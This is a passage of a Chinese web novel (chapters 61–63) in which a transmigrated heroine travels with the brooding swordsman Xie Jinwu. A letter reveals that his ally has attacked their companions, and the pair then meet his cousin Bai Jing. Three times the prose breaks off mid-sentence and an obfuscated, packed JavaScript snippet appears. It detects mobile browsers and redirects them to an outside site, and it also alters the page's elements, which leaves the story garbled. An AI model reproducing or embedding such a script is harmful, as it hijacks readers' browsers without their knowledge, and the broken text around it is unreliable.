谢尽芜的手掌宽大而有力,掌心的热度隔着薄薄一层夏衫传递过来。叶清圆抬起眼正对上他的深沉殷润的眼眸,心跳顿时像是漏了一拍。 谢尽芜的视线落在她的眼睛,随后缓慢地下移,从根根分明的下睫毛,到小巧白净的鼻尖,再到那红润微翘的嘴唇。 兴许是他出现了幻觉,鼻端似乎又嗅到了那股甜腻的诱人的芬芳。真奇怪,他分明是最讨厌甜食的,却为何总是被她身上的甜腻吸引住。 他的呼吸几乎都凝滞了,眼帘微阖,头颅很小幅度地低下去,似乎要追寻着那种甜香一般,慢慢地凑近了叶清圆。 两人的距离前所未有的近,是亲密得像恋人一样的姿态,近得仿佛下一秒就可以吻上来。谢尽芜的呼吸轻颤,馥郁的冷香都要扑在她的脸上。叶清圆尝试着挣了挣手腕,却纹丝不动。 视线中是一张放大的清隽脸容,叶清圆半阖着眼帘望住他,视线从他挺秀的鼻梁缓慢下移至微翘的双唇,心跳顿时就漏了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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师傅正拿了软簿来看,闻言点头道:“好、好。外间备了茶水点心,那就请姑娘暂等片刻。” 叶清圆转身看向谢尽芜,连对视都不肯,视线游移在他的下巴和脖颈处,轻声道:“那我在外面等你。” 说罢,转身离去。 谢尽芜的视线追随着她离开的身影,表面上很冷静地“嗯”了一声。 那珠帘一掀,她的身影消失不见,唯有珠帘晃动,在里间地板溅满细碎的光。 裁缝师傅是个爱热闹的,见状不由得打趣道:“二位的感情真好,肯定相恋很久了吧?这次裁制的新衣也是红色,是准备成婚了吗?” “成婚?”谢尽芜扯回思绪,心里仿佛被什么拨动了一下。 - 叶清圆在外间喝了半盏茶的功夫,谢尽芜就掀帘出来了。 她倚着椅子坐在那一捧如火如霞的杜鹃花枝旁边,正扭头和老板娘说笑。窗外阳光被树枝筛过已经变得不那么刺眼,将她的脖颈映照得更为修长纤细。 谢尽芜的视线落在她含笑的侧脸。 她的相貌实在称不上珠圆玉润。她的脸颊寡白,鼻尖和嘴唇皆是玲珑,脖颈纤长柔弱,不施粉黛时尤显得苍白孱弱。可那双端丽的眉眼却又宜喜宜嗔,笑时分外多情。 迎着阳光微笑时,杜鹃花的浅红色光芒如静水流淌在她的脸颊和脖颈,那双琥珀色的眼眸温柔得仿佛能溺死人。 她不是那种雍容又娇贵的牡丹,不需要天下人都蜂拥而至将她奉为国色。她更像是雨后溪畔迎风盛放的菖蒲或者栀子,不在乎任何人的眼光与好恶,兀自散发着浅淡清幽的香气。 柔弱却倔强的、旺盛的生命力。 “好啦?”叶清圆搁下茶杯,脸上犹带笑意。 谢尽芜将银锭放在桌面,牵起她的手腕就要离开:“好了,我们走吧。” “咦?这么急?”叶清圆被他的力道带得站起来,转身伸长手臂去够那一捧杜鹃,“……等等,我的花!” 老板娘掂了掂那块银锭,目送两人离开店铺,笑盈盈道:“记得三日后来取成衣哦!” 61. 雪竹 暑热很快消下去,河畔的风略微凉了些许。街道上行人渐多,贩卖各类吃食、小玩意的摊贩也摆满了两侧,千花河夜市华灯初上。 谢尽芜任劳任怨,怀里捧着一束杜鹃花不说,左手还提着她临时起意购入的各样零嘴和小玩意儿。 冷峻净白的脸掩在花枝后,遮住他眼中的点点笑意。他不忘空出一只手去牵住活泼乱动的叶清圆的手,免得她在熙攘的人群中跑得不见踪影。 “谢尽芜,你稍微松开一点好吗?” 客流络绎,货郎和小贩们挤满了街道两旁,微风中不时有酒香、茶香阵阵飘来。叶清圆愁闷道:“我又不是三岁小孩子,不会走丢的。” 不知为何,她总觉得谢尽芜今天有些奇怪,与之前那个冷漠疏离、寒若坚冰的反派预备役简直判若两人。 她的手心出了些薄汗,黏腻潮湿的触感,不知谢尽芜可曾察觉。 谢尽芜更握紧了她的手:“这里人多。” 叶清圆认命地叹了口气:“那好吧。你提着这么多东西累不累?给我一些吧?” 谢尽芜很轻地摇头,唇畔露出一抹笑意:“不累。” 下一个副本就是终年严寒的冽雪山谷,那里别说像金璧城这般繁华了,连小型的集市都没有,村庄也是疏疏落落,人烟稀少。叶清圆不得不为后面的剧情做好打算。 可只有她未雨绸缪,谢尽芜呢? 他知晓自己即将要面临的是什么吗? 还是说,因为从一开始就抱着“复仇之后就自刎”的念头,所以对于生活也没有任何期待,无论幸或是不幸,他一概不拒。 回过身看去,谢尽芜站在夏末温和的晚风中,一张脸干净俊朗,如冰似雪。他手里、怀里满是大大小小的包裹,却也丝毫不显得狼狈。周遭是熙攘热闹的人群,他垂眼,视线安静地落在绒花摊子上,唇边甚至有一抹淡淡的笑,好看得跟其他人仿佛不是一个图层。 这样清隽英朗的谢尽芜。若他不曾遭受那些巨变,此时或许该是白马金羁、剑气箫心的少年,一壶清酒、满城春华。 他不会内心扭曲成嗜杀阴暗的反派。 更不会一柄长剑割喉而过,自刎于繁花落尽、浓雾茫茫的河中。 谢尽芜察觉到她直勾勾的目光,眼中蓦地带了点羞赧之意:“怎么了?” “我有点累了。” 叶清圆逛了一会儿腿脚有些酸软,便停在这处卖绒花的小摊前,挑了一支雪竹样式的簪子。 “姑娘好眼光,这支簪子选的是苏绣的线,缀着的珍珠也很是莹润。” 摆摊的是位老婆婆,虽鬓发皆白,眸光却仍旧清明,衣妆也干净整洁,白发里还簪了一支茉莉的绒花。 她的货摊上还摆了各种样式的绒花,多是花草之类,也有彩蝶和锦鲤。 叶清圆快要挑花了眼:“这支牡丹好看,是正红的呢,雍容华贵。这支铃兰花也好。” 她抬手将那支牡丹绒花簪进发间,问谢尽芜道:“好不好看?” 是正红的颜色,像火一样。 谢尽芜的呼吸一滞,心口像是猝不及防被敲了一榔头。 “嗯?”叶清圆抬眸笑道,眼中漫出期待的、温柔的光芒,“还是珍珠的流苏呢。” “姑娘相貌生得好,自然戴什么都好看。”老婆婆满脸笑意地望着她,慈爱道,“只是这支牡丹簪子太过华丽,该配盛妆红裙最好。” 叶清圆垂眼笑了笑。她当然知晓自己相貌寡白,除了一双眼再无出彩的地方,撑不起来这牡丹花的华贵也是情理之中。 可那又如何?纵使是一朵小小的铃兰花,照样可以开得灿烂而热烈啊。 叶清圆最后挑了一支冰蓝色的芍药和那支铃兰,笑吟吟地付了钱。 谢尽芜看她将那支牡丹放了回去,垂下的眼睫纤长浓秀,显出几分不经意的落寞。 回到客栈时天色已有些黑了,许明竹和江云初还没回来。 “千花河畔的夜市这么繁华,他们要逛很久吧?”叶清圆累极了,一屁.股坐在板凳上,也顾不得茶水早已凉透,提壶倒了半杯一饮而尽。 逛了半个下午,谢尽芜除了微微发汗之外,竟没有半点疲惫,只是脸上有些微红罢了。他唤茶博士送来一壶热茶,同时将桌上的这壶冷茶搁到了一边。 叶清圆没喝够,正抬手要倒,见状不由疑惑道:“怎么了?这茶不可以喝吗?” “茶冷了。” “无妨,”叶清圆毫无顾忌地笑,“冷茶青涩,我方才吃多了甜食,口中正有些腻,喝杯冷茶正好。况且方才逛街真的好热啊,不喝点凉的我会热晕的。” 谢尽芜很是坚持,亲自给她倒了半杯热茶,而后将茶壶搁在桌面上,就这么面无表情地看着她。 “哎,好吧好吧,”叶清圆枯着眉头喝了口热茶,却觉得身上的汗更多了,“谢尽芜,你为什么非要我喝热茶啊?” 她有些疑惑,为何谢尽芜总在这些小事上莫名坚持。 谢尽芜的眼睫颤了一下:“没什么,你喝就是了。” “行,听你的。”叶清圆不甚在意地抬袖擦了擦额角的薄汗。氤氲的茶雾袅袅上升,模糊了她的眉眼,唇瓣沾了茶水更显得红润几分。 她将杜鹃花枝放在桌上,找茶博士要来剪刀,剪下多余的枝叶,随后插.进一只盛了清水的白瓷瓶中。 漫天红霞透过摇曳的树梢和窗纸投射进来,本就明艳的花瓣立时被染上一层红霞,簇簇火苗似的。 叶清圆懒洋洋地托着下巴看花,休息了片刻之后反倒困倦不已,眼皮都有些睁不开了:“夏天很快就要过去了,这或许是杜鹃花最后一次开放了吧。” “只要足够暖,即便是凛冽的寒冬,杜鹃也会开花的。” 谢尽芜的视线落在她的面上,很认真地说:“摆在屋里就好了,很漂亮。” “嗯?你怎么懂这么多啊?”叶清圆顿时清醒了,眼中笑意如水流淌。 谢尽芜微红的唇角弯了弯:“还好。” 流光山馆有花有树,山道旁还有数不清的灯。他自小与漫山的花树一同长大,无师自通,在尚且不识字的年纪就学会了莳花弄草。 若非那场变故…… 谢尽芜用力闭了闭眼,转头向窗外看去。 残阳如血,红霞漫天。 “打扰二位,公子可是姓谢?” 茶博士没一会儿又掀帘进来,雅间里虽无别人,他却刻意压低了声音。 谢尽芜颔首:“是。” “下午的时候有位年轻公子来到客栈,要我们将这封信交给一位姓谢的公子,”茶博士取出信纸递过来,“那公子行色匆匆,想必是有些急事。” 谢尽芜与叶清圆对视一眼,接过信纸:“他长什么模样?” “那人脸戴一张银面具,面具上刻了朵花儿。身量颇高,穿着一件道袍。”茶博士回忆道,“他也并未说自己是谁,只说公子一看见信,就全然明白了。” “好,多谢你。”谢尽芜将信纸搁在桌面,秀挺的眉头微不可察地蹙起。 茶博士察言观色,很识相地退出去。 雅间中静默一瞬。 来了。 叶清圆轻声道:“打开看看吧,看顾雪庭有什么话想说。” 她直觉这封信带来的不会是什么好事,可是碍于系统的安排,她又无法阻止这一切发生。 谢尽芜神色淡然,拆开了这封信。 ——“谢尽芜亲启: 师兄宋雨阁之死,实属情债纠缠所致。多谢公子与叶姑娘出手相助,揪出幕后真凶潘淳玉,还师兄清白。 师兄生前曾嘱咐过,若他身死,可寻一处山青水澈之地随意葬下,血肉神魂皆返自然。总归不许与莫婉婉姑娘葬在一处。只为生前既与姑娘是君子之交,身后也不许污了姑娘的清誉。此事我已禀报过渡真家主顾九枝,谢公子不必再费心了。” 叶清圆看得一阵疑惑:“幕后真凶是潘淳玉不假,但与顾雪庭也脱不了干系。话说回来,他和宋雨阁究竟有什么矛盾,至于这样出手残杀?” 况且,顾雪庭早已叛出渡真世家,他和家主顾九枝竟还有来往吗? 那信上又写:“至于谢公子挂心之事,冽雪山谷的遗迹或许可让公子明白一二。” 谢尽芜的眼睛蓦地睁大,按在信纸上的手指用力得发白。 叶清圆的一颗心霎时提到了嗓子眼。 谢尽芜的挂心之事,不就是谢氏的灭门惨案吗? 这与冽雪山谷有关? 她的视线缓慢地移至谢尽芜冷白的脸上,怔然想道:顾雪庭又怎会知晓他的挂心之事? 这两个人,终究还是合作了。 “谢氏满门,亡于世家手中。可惜谢公子竟多年被人蒙蔽、遭人利用,终至与贼为友。今日顾某先行送上一份大礼,许明竹与江云初,就不劳谢公子亲自动手。” “这份人情,谢公子不必再还。” 叶清圆的心里一瞬间明白过来:“他要伤害云初姐姐……” “那又如何?” 谢尽芜搁下茶杯,青瓷磕在古木桌,发出咚的一声闷响。 她蓦地抬起眼,却瞧见了谢尽芜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14516612|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那双冷漠疏离的眼眸。 - 金璧城南,桐花林中。 顾雪庭翘着二郎腿坐在河畔的石头上,手中丝帕缓慢且轻柔地擦拭过长剑的血污。 烈火般的红霞从天边轰轰烈烈地烧过,河水被映照得殷红翻涌。 他将丝帕随手丢进河里,血迹瞬时将水染出一片血红。 残阳如血,这血迹与红霞融为一体,却有些叫人瞧不分明了。 “你们不该怨我,要怨就怨你们的出身。怨你们明知族中尊长做了那些残忍的勾当,却心安理得地装作不知。” “保持沉默,与亲自行凶害人并无区别。” 顾雪庭打开酒壶,将一整壶烈酒泼在剑身。 残红的酒液泼洒,在红霞的映照下溅出万道火光。剑光却冷凝清淬,恰如冽雪山谷那终年不化的大雪。 在他的身后,江云初和许明竹浑身是血,奄奄一息地倒在白桐树下。 枝叶摧折,满地剑痕。 远处林荫道的尽头,鸟雀惊飞,一行人马快速赶来。 正是永安江氏。 “窃来的清贵与名望,无论如何都不能长久。”顾雪庭收剑入鞘,冷声道,“留你们一命,待会告诉你们族中之人——” 他眸中带着嘲讽之意,薄唇微启:“是顾雪庭要杀你们。” - 叶清圆的手心按在坚硬的茶桌上,手指微微发颤。 她终于后知后觉地想起来,谢尽芜不笑时都是这样阴郁冷漠的,所谓的“温雅有礼”始终不过是他的伪装。 他那双殷润乌黑的眼眸,实则不带半点光亮,冷得像潭底的黑曜石。 他一直如此,冷静、心狠。 一如他们初见。 是她对他不再防备,便误以为他也能够做到三分坦诚。 60%的好感度是真,他的处心积虑也是真。 与此同时,她的脑海中响起系统的机械音。 “叮!系统提示:支线任务二——‘魂断金璧城’正式结束!” “恭喜宿主同时触发支线任务三——‘冽雪山谷’!” “你和顾雪庭早就有交易,这一切是你们商量好的吗?”叶清圆有些无力地坐在椅子上,“你早就怀疑了许明竹和江云初?” “不是怀疑,是笃定。”谢尽芜的眼帘低垂,不去看她的眼睛,“只是你总跟在我身边,我没有动手的机会罢了。” “是吗?那还真是抱歉,是我耽误你的正事了。” 叶清圆的唇边漾起一抹极冷的笑,眼眸一瞬不转地盯着谢尽芜。 恍惚间,竟从他的脸上看出了几分落寞。 谢尽芜抬眼,声音很轻:“你的声音在颤抖,是生我的气吗?” 叶清圆别过脸去:“没有。” 谢尽芜沉默了。 他虽迟钝些,却也看得出来她此刻就是在恼他。 这种局面,是该哄一下的。 可他并不知该如何开口。毕竟他从来没有哄过人。 叶清圆坐不住了,就要去找江云初她们,刚起身,手腕却骤然被他攥住。 “你现在去也晚了,顾雪庭既然给我留信,说明他已经动手。”谢尽芜的眼神落在她脸上,深刻而执着,“现在永安江氏应该也来了人,你去也是白走一遭。” 叶清圆听完更气了,用力想要挣开他的手,却挣不脱:“那我也不要跟你一起。” “为什么不要跟我一起?” “因为我不喜欢。” 谢尽芜追问道:“为什么不喜欢?” 叶清圆烦得不行,被他这么一问,思绪又顿住了。 谢尽芜依旧攥住她的手腕,热烫的掌心贴在她的腕骨处,是充满掌控欲的力道。 “我们明天就去冽雪山谷吧。你不是想去看雪吗?我们一起。” 叶清圆稍作停顿,猛然发觉,谢尽芜的手指不知何时已经与她的纠缠到一处。 她半偏过头,是个拒绝的姿态:“现在才几月?要等很久那里才会下雪。” 谢尽芜想了想,很认真道:“那我们就慢慢走。” 叶清圆的视线掠过两人紧握着的手,笑了一声,温和又残忍:“像这样牵着手吗?” 谢尽芜注视她,没有半点要松手的意思:“若你想,也可以。” “谁想了!” “叶清圆,” 谢尽芜凑过来,俯身,与她四目相对,清隽的眉眼蹙起:“我没那么坏的,你不要生气。” 叶清圆好恼火地看着他,心说,那你先把手松开呀。 62. 牵手 阴雨蒙蒙,白雾缭绕,长街商铺的廊檐竹帘都被笼罩得影影绰绰。 雨天生意惨淡,街上空荡荡的不见行人。整条街都被雨水浇透了,石青色的地砖愈发深刻得宛如墨汁。 一家小小的面馆门前支起了油毡棚,蒸腾的白汽浩荡地从店里钻出来。煞人的秋风吹过,急促的雨点砸在顶棚上,发出沉闷的噼啪声响。 这是《明烛夜话》中最后提到的一座城镇,因纬度较高,几场冰凉的秋雨过后,满街的花树尽数枯败凋零。蜷曲的落叶被冷雨吹送着,在地面上刮擦出寂寥的声音。 此处人烟稀少,距冽雪山谷仅有一河之隔。 谢尽芜撑着一把描了梅枝的油纸伞,空气中朦胧的水汽模糊他的眉眼。 他牵着叶清圆的手,不急不缓,步履从容地自长街尽头走来。 叶清圆抬眼观察着这条不见人影的长街,默不作声。 风雨如晦,连道旁小店门前悬着的竹帘都被吹得叮咣作响,她的裙摆与衣袖竟没有沾上半点潮湿。 风不沾、雨不沾。连青砖地面的潮湿,都未能叫她的鞋面脏污半分。 反观谢尽芜的左肩,却被雨丝濡湿,衣料的颜色也深刻许多。 叶清圆收回目光。 ……看在他给自己打伞的份上,就暂时不计较他非要牵手的臭毛病了。 只是……这依旧太过张扬。 那家面馆又传来热油下锅的滋滋声,锅碗瓢盆响动起来异常热闹。紧接着一股浓浓的油爆大虾味冲了出来,霎时就冲淡了长街秋雨的萧瑟之意。 叶清圆不由得多看了几眼。 “进去坐坐?”谢尽芜察觉到她的视线,薄红的唇边露出一个浅浅的笑,“我看有人的口水都要滴出来了。” 叶清圆顿住脚步,没好气地瞪了他一眼。 谢尽芜不避不让看着她,乌浓的眉眼愈发深刻。 他那双眼生得真是好极,眼尾上挑,眼瞳乌黑,像清辉照映下又深又静的湖。凑近了,他身上的气息就一股脑地压过来,如雨后竹林,清新馥郁,带着少年独有的蓬勃热意。 叶清圆的视线不由在他脸上多停留了几息,反应过来后却往旁边避了避,试图与他扯开一点距离。 谢尽芜顿了一下,见她对自己仍有逃避之意,心头不悦之余,却也无可奈何。 他与顾雪庭早已合作,对江云初出手也是必然。即便叶清圆可能因为这个而迁怒、冷落他,他也欣然接受。 思及至此,谢尽芜牵着她的手更用力几分,修长有力的手指挤进她的指缝,硬是要与她十指相扣。 叶清圆挣了两下没挣开,有些泄气地随他去了。 罢了,反正也不会掉块肉。 掀帘进面馆,不大的店面空荡荡的,也并未燃灯,光线着实昏暗。 香味是从一片粗布帘子后飘散而来。看帘子后忙碌的身影,一者是穿粗布黑衣的中年男子,另一者却是月白长袍,袍角描暗金,身材劲瘦,腰细腿长,看模样像是个少年。 大厨竟是有两位。 可是谁下厨会穿得这般干净素白? 谢尽芜将描摹了梅枝的油纸伞收起来,随意靠在门边,而后冲着里头唤了一声:“白璟。” “哎!哥!”那道月白长袍的少年闻声哐哐又炒了两铲子,随后将锅铲交给一旁的厨子,掀帘朗声笑道,“你们这么快就来啦?” 他是个模样清秀、肌肤雪白的俊俏少年,描金的衣领上绣制青鸾振翅,袖口亦有金线,通身的闲逸富贵气度。 那月白袍子也不知是什么料子做的,在昏暗朦胧的屋里也像是笼了层清辉,衬得他眉眼更为干净、纯澈。 叶清圆的眼中露出一丝茫然:渡亡世家的少主,被家族倾心培养、呵护的白氏独苗,怎么会千里迢迢地来到了这里? 看此人与谢尽芜的熟络程度,应当是提前就商议好在此碰面的。 谢尽芜淡淡地“嗯”了一声,挥袖燃灯。 白璟还维持着那个掀帘的姿势,笑嘻嘻地看向叶清圆,雪白的面颊上露出些初见时的羞涩之意:“叶姑娘,请随意坐吧。饭菜马上就好啦。” 叶清圆略显讶异地一挑眉:“白少主认得我?” “当然了!”白璟笑起来眼睛特别亮,“我们初见时是在初阳镇,那时哥亲自发信叫我带人去收拾山顶阵法里的亡魂,我还和叶姑娘笑了呢!只是时间过去这么久,叶姑娘或许是将我忘记了吧……” 他说着便失落起来,也不知有几分真心。他的眼眸生得圆,眼珠乌亮,闪着细碎的水光,难过起来很容易叫人心软。 谢尽芜蹙着眉,对他这副动不动就卖乖的臭德行实在感到头痛,沉声道:“白璟。” “哎,知道了知道了。” 白璟迅速收敛起笑容,转身往后厨去了,放下帘子时忍不住腹诽道:笑也不许笑。 难道我笑一下,就能把叶姑娘拐跑了不成? 谢尽芜闭着眼呼出一口气,仿佛强自忍耐着不悦。一瞬后,他睁开眼,正对上叶清圆微微睁大的端丽双眸。 烛光明亮温暖,编织得细密的竹帘将冰冷的秋风秋雨隔绝在外,屋内一派敞亮温和。 他那双殷润如黑曜石的眼眸中又漫出些温和:“方才走了那么久,累吗?” “还好,”叶清圆摇头,“也不冷。” 谢尽芜的掌心很热,虽然因常年习剑的缘故而骨节微硬,指腹略有粗糙,不过总体而言触感也不算坏。 他掌中的剑茧不经意地摩挲过她的手心,反而有种隔靴搔痒似的……吸引力。 他们掌心相印的时候,一股温和的灵力便如温水般缓缓渡过来,令她浑身舒畅熨帖不已。 与此同时,外界的凄风苦雨也被阻绝。 灯烛明暖,在叶清圆的脸颊镀上一层浅淡的光。 她垂着眼帘,浓秀纤长的睫毛在眼下投出两片阴影,思虑半晌,终于轻声道:“谢尽芜,以后可不可以别再……牵着手了?其实我也不是那么怕冷,降温了多穿点衣服就是了。” 谢尽芜干脆道:“不可以。” 叶清圆噎了一下,转换措辞,委婉道:“我们这样牵着手,实在是有些张扬,或许会被别人误会的……” “误会?”谢尽芜轻声琢磨着这两个字,眼神迅速地冷了下来,“误会什么。” 叶清圆腹诽道:当然是误会我们之间的关系了。 谢尽芜这个人,表面上看是端方有礼的清隽少年,冷静、聪明。实则相处久了才知道,他的性格冷漠又别扭,单纯且幼稚,受了那么多苦楚、折磨却都憋在心里不讲,认准了什么事就一条道走到黑。 他对于情、爱之事更是一片空白,连金璧城副本都走不明白。 若非叶清圆事后提醒,他甚至会误以为潘淳玉对莫婉婉的感情是真爱。 叶清圆的任务是攻略他,可她也并不想投机取巧。 好像是哄骗了他一样。 尤其这半个月的路途。 谢尽芜与先前简直判若两人。 他总要牵着手是一回事。可是别的方面,譬如说话的语气、看着她的眼神,也发生了极大的变化。 仿佛是在笨拙却认真地学习,如何去向她表达自己的喜欢。 叶清圆也尝试过提醒他:“你是不是离我太近了呀。” 谢尽芜一怔,却没有撤开,只是垂着睫,神情拧巴又急躁:“我没有。” 两人之间的距离不过半臂,近得可以感受到彼此的气息。 叶清圆的手心抵在他的肩头,认真道:“有点近了。” 谢尽芜垂睫,视线落在她的唇上。 有种想要触碰什么的欲望,在他的心中悄然滋长。 可是不行,这太冒犯。而且,而且…… 下一瞬,谢尽芜又仿佛回神似的,撤出一点距离,略略懊恼。 叶清圆知道他在想什么,也任由他想。 他思绪乱飞,眸光灼热,如燃星火,可是举止终究有礼,不曾逾矩半分。 叶清圆看他深黑的眉眼,心口也莫名一阵悸动。 这目光太过直白灼热,常叫她受不住,垂睫避开。 后厨的布帘一掀,打断了她的回忆。 白璟端着两碗热腾腾的龙须面出来了,身后还跟着那名中年厨子。 “久等久等!”白璟将面碗放在桌上。 碗底很烫,他连忙抬手摸了摸耳朵:“这碗底也太薄,烫死了!” “怎么是你下厨?”谢尽芜淡声道,“胳膊上的伤已经好了吗?” “早就好了。”白璟乐呵呵地坐下来,满不在乎道,“这位厨子大叔做饭太慢了,我等不及,就自己来咯。” 那厨师将一盘油焖大虾摆上,又端来两盘素菜,闻言不住地赔笑道:“实在委屈了这位小公子,那后厨里又闷,油烟又大……” “无妨,”谢尽芜抬眼,眼中带着一点疏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14539498|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离的笑,“他是个急性子,做饭又上瘾,师傅让他做就是。” 那厨师见客官并不追究,也暗自松了口气,很有眼力见地跑到后厨收拾灶台去了。 雨天客人不多,面馆里只有他们三人相对而坐,因此说起话来也不必顾忌什么。 白璟的脸颊被热气烘出一层薄汗,更衬得他面若桃李,眉眼乌浓。 细究起来,他该称谢尽芜为堂兄。此时若仔细看去,他的五官样貌倒是与谢尽芜有些相似。 只是谢尽芜的那双眉眼,生得实在是世无其二的漂亮,殷润乌黑、深山冷泉一般。白璟的眉目仅是与他有三分相像,便已称得上万中无一的俊秀少年。 “叶姑娘快尝尝这道虾好不好吃,”白璟意有所指地笑道,“哥特意吩咐我做的,说叶姑娘喜欢吃。” 谢尽芜抬起眸,目光淡然地瞥他:“不要多话。” 白璟挑着眉看他一眼,转头对叶清圆笑道:“都是剥好了的,虾线也挑了。” “好,”叶清圆很给面子地夹了一只送入口中,果真香嫩,诚挚道,“好吃。” 白璟顿时喜上眉梢,他像是个献宝的孩子,急切道:“那你再尝一口面,汤底是我特制的。” 叶清圆忍着笑意挑了很细的一缕面,手腕翻转,让龙须面缠绕在筷子上,尝了尝,赞不绝口:“嗯,很劲道,火候也刚刚好,有一种鲜嫩的香气。很好吃。” 白璟从未在厨艺方面受过这样诚心实意的夸赞,顿时喜不自胜,笑道:“叶姑娘喜欢就好,给叶姑娘做饭吃真的好有成就感。” 叶清圆垂着眼帘微笑,对他的直白与天真感到有趣极了。 她脸上温和淡然的笑意落在谢尽芜的眼底,漂亮得近乎刺目。 谢尽芜默不作声地望着她,薄红的唇抿成一线。 他方才也吃了一口面,唇色愈发艳红起来,衬得面庞皙白,如冰如雪。 叶清圆察觉到他的目光,好奇地用眼神问他:怎么了? 谢尽芜依旧不做声,右手却伸到桌底下,握住了她搁在大腿上的手。 明明才说了不要随意牵手的! 叶清圆的脸颊蓦地升起热度,净白的肌肤上浮现薄薄的一层红。 他这次微微用了力,修长的指嵌入她的指缝里,随后弯曲、掌心相合,是个十指相扣的姿态。 热度再次传递而来,不光是手,甚至连腿上都感受到他掌缘的热意。 叶清圆掩饰性地低下头,状若自然地夹了一筷子嫩菜心,慢慢咀嚼着。 她挣不脱,也猜不透谢尽芜到底想干嘛。他就这么握住她的手,没有半分要放开的意思。 “我在家里变着花样做饭,爹爹却也没夸过我。” 白璟托着下巴,眉心拧起,很迷茫不解的样子,“他还说我是浪费自己的一身天赋。真是奇怪,我的天赋很明显就是做饭啊!这又有什么浪费?” 谢尽芜淡声道:“舅父是望你用心修习族传术法,将来好继承家业,而不是把心思放在厨艺上。” “可是我不想啊,”白璟嘟囔道,“我早就说了,将来家主的位子让哥坐就是了,我没有那个……” “胡言乱语。”谢尽芜微不可闻地叹了一口气,“渡亡世家的家主之位,无论如何都不会是我来坐。” 白璟的眉目间露出些失望神色。不过也没失望太久,想来也是被拒绝过许多次,早已习惯了。 他放下筷子,转身去后厨拿了热水壶冲茶。 那道门帘一晃,随即悬垂下来。 叶清圆朝桌子底下看了一眼,谢尽芜的手还纠缠似的握住她的手,他的掌缘不经意地贴在她的大腿,热度透过衣裙缓缓地渡过来。 她搁下筷子,很认真地与他对视:“谢尽芜。” 谢尽芜看着她,好无辜:“嗯?” 看来是装傻到底了。 叶清圆心中叹了一声,用另一只空着的手去拉他的手腕,同时用力地挣开他的掌心,费劲巴拉地挣了好半天,也没能将自己的手拽出来。 反倒是她被他握住的那只手,因着她的挣扎,薄薄的肌肤泛出一层浅红。 叶清圆闭了闭眼,决定态度要冷下来,语气要重下来:“谢尽芜,松手。” 她扬脸看他,眸中那点如水似的温和消失不见了,取而代之的则是羞恼之意。 谢尽芜垂下眼睫看她,眼里有点落寞,本来微翘的唇角也抿成了一道直线:“不可以吗?” 63. 渡河 不可以吗? 她好像从没说过“可以”吧? 叶清圆对上他那双殷润乌黑的眼眸,语气无论如何也冷不起来了。她轻声,几乎是哄人的态度:“吃饭的时候不可以。” “吃饭的时候不可以?”谢尽芜若有所思地低声重复。 “对。” “好。”谢尽芜黑润的眼珠动了动,唇角微翘,终于从善如流地放开了她的手。 叶清圆无暇多想,慌忙收回手。那边帘子一打,白璟提着茶壶就过来了,口中不住念叨道:“也不见有什么好茶。幸好我未雨绸缪,提前都备好了。” 他将茶碗摆好,澄绿的茶水注入,一股微微苦涩的香气扩散开来。 “是上好的碧螺春,我特意从家里拿来的。”他是个十足的少爷做派,出行吃住都讲究,“其他还有好多茶,都在侍从们那里存着。” 面馆里只有他们三位客人,外头街上急雨瓢泼,不见人的踪影。叶清圆提议道:“既有侍从,不如让他们一块进来避雨吧?” “避雨?哈哈!说出来怕吓到叶姑娘,我们渡真世家的随从侍卫——” 白璟抬眸,唇角勾起一抹狡黠的笑意:“都不是人。” 他话音落下,长街倏忽传来“咣当”一声巨响,是谁家店前的遮雨布被风刮倒,雨声渐响。 叶清圆错愕一瞬,片刻后才慢慢颔首:“有所耳闻。” 回想起来,原书中着实有这么一个设定。渡亡世家以一只引魂铃引渡亡魂,但若有生前为非作歹、小奸小恶的亡魂,惧怕到了阴司会遭受刑罚苦楚,而主动留下偿还罪孽的,渡亡世家也会与阴司打好招呼,视情况网开一面。 这些亡魂,一部分投入当地城隍门下,由城隍老爷亲自发落。另一部分,便交由渡亡世家处置。 很显然,白璟口中的侍从们,也不过是两名想要赎罪的亡魂罢了。 思及至此,叶清圆不由疑惑道:“这些亡魂生前都是兴风作浪惯了,如今也会乖乖听你们的差遣吗?会不会有那种不听话的?” 白璟漫不经心道:“嗯,有是有。可我们渡亡世家可不是吃干饭的。一道铃力打下去,管他生前是公子王孙还是商贾巨富,敢有作恶的念头就五雷罩顶、魂飞魄散。” 他双掌交握,做了个炸开的姿势,轻声笑道:“砰。” 这种狠辣的手段,在这位少主的口中竟是如此稀松平常。也怪不得,渡亡世家从不肯与旁的世家有所交涉,而其他子弟也对渡亡世家之人唯恐避之不及。 “叶姑娘不用怕,我都叫他们躲得远远的,”白璟看到她低垂的眼睫,“若非有要事,也绝不许他们露面,好吗?” 叶清圆微笑:“无妨。” 她眼中笑意温和似流水,说话的嗓音也温柔。兴许是吃到美食觉得满足了,浑身透出一种慵懒随和的气息。 这样鲜活的、柔韧的姑娘,怪不得连高悬如山巅飞雪的谢尽芜都要和她一路同行。 还非要牵手。 